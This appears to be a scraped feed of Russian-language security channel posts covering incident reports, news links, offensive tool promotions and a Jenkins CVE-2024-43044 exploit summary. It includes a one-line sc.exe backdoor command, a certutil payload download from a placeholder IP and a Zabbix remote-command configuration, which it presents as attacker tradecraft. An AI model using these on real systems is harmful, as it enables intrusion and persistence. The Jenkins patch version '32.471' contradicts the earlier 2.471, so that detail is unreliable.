Fsecurity | HH

Almost invisible, persistent, fileless, LPE backdoor from an elevated command prompt:

sc.exe sdset scmanager D:(A;;KA;;;WD)

By Gregorz Tworek

Среди интересных инцидентов прошлого года – выявлен очень незаметный способ закрепиться и латерально перемещаться. Небольшое количество изменений в системе, вне поверхности обычного абузного легитимного win-based и под покрывалом обычного софта. Атакующие приносят нагрузки:

certutil.exe -urlcache -split -f hxxp://<Public IP>/<file with payload>

Используют возможности популярной системы мониторинга Zabbix с конфигурацией, разрешающей удалённое выполнение команд:

EnableRemoteCommands=1
LogFile=0
Server=0.0.0.0/0
ListenPort=5432

Для Zabbix-агентов на фаерволе злоумышленники открывают порт 5432 с красивым и правильным именем PGSQL. В результате использования этих техник атакующие, очень похожие на группировку Flax Typhoon, более двух лет остаются незамеченными в системе – пока не приходят эксперты по реагированию на инциденты. Подробнее об этой атаке, а также о других интересных инцидентах, расследованных нашими коллегами в прошлом году: https://securelist.com/incident-response-interesting-cases-2023/113611/

Появилась запись нашего с Сергеем доклада про выгорание 😊

🔗Ссылка: https://www.anti-malware.ru/news/2024-09-03-114534/44050

Был обновлен Obsidian Pentest 👾 1. Коммит 2. Коммит Приятного чтения 📖 Наш Discord сервер 👆🏻Тут можно пообщаться 🦈

🔗Ссылка: https://xakep.ru/2024/09/03/fake-globalprotect/

🔗Ссылка: https://www.securitylab.ru/news/551689.php

#realcase CVE-2023-29360: госсекреты США на волоске от масштабной компрометации Такие заголовки новостей появлялись не так давно, в начале марта нынешнего года. Как раз с подробным исследовательским отчётом по данной уязвимости можно ознакомиться по следующей ссылке. Сам же PoC можно найти на GitHub

🔗Ссылка: https://spy-soft.net/detect-api-endpoints-js-miner-burp-suite/

🔗Ссылка: https://xakep.ru/2024/09/03/columbus-rhysida-leak/

🔗Ссылка: https://spy-soft.net/hacking-minecraft-log4j/

🔗Ссылка: https://xakep.ru/2024/09/02/voldemort/

🔗Ссылка: https://www.securitylab.ru/news/551651.php

#pentest Kraken - All-in-One Toolkit for BruteForce Attacks Универсальный инструмент для реализации брутфорса разных служб и сервисов в одной коробке.

🔗Ссылка: https://xakep.ru/2024/09/02/github-comments-lumma/

SUDO_KILLER * Скрипт под: Сбор учетных данных Неправильные конфигурации Опасные двоичные файлы (GTFOBINS) Уязвимые версии sudo — CVE Уязвимость Sudo и неправильная конфигурация, связанные с 3dParty Опасные переменные окружающей среды Доступные для записи каталоги, в которых есть скрипты Двоичные файлы, которые можно заменить/переместить * Download + много демо + докер для тестов #sudo

🔗Ссылка: https://www.securitylab.ru/news/551641.php

Хочу также посоветовать: 1 - Наш discord сервер! Где можно пообщаться 👾 2 - Мой Github 🦑 Наш второй канал [Ximera-Chan]

CVE-2024-43044: From file read to RCE in Jenkins Опубликованы технические детали и эксплоит для уязвимости CVE-2024-43044 (оценка по CVSS=8.8) Path Traversal, приводящая к удаленному исполнению кода на серверах Jenkins. Суть баги заключается в том, что подключенный агент может читать произвольные файлы с контроллера, с помощью эксплуатации классического Path Traversal в ClassLoaderProxy#fetchJar библиотеки Remoting/Hudson library, который отвечает за получение jar файлов с контроллера на агенты. Получив возможность чтения файлов, можно проэксплуатировать CVE-2024-23897, с помощью которой атакующий может создать валидные "Remember me" cookie для аккаунта администратора, чтобы выполнять произвольный код через консоль Groovy (Jenkins Scripting Engine). Опубликованный эксплоит имеет несколько режимов работы для Inbound (JNLP) или SSH способов подключения агентов к контроллеру и автоматически выгружает хэши паролей всех пользователей в формате John The Ripper😎 Такиим образом, отломав тачку с агентом, атакующий получает возможность развивать атаку на сервер Jenkins и другие подключенные тачки с агентами. ⚙️ POC: https://github.com/convisolabs/CVE-2024-43044-jenkins 🪲 Уязвимые версии ПО: Jenkins до версии Jenkins 2.471 и LTS 2.452.4, LTS 2.462.1 ✅ Рекомендации: Патч уже доступен, необходимо обновиться до версии 32.471 и LTS 2.452.4, LTS 2.462.1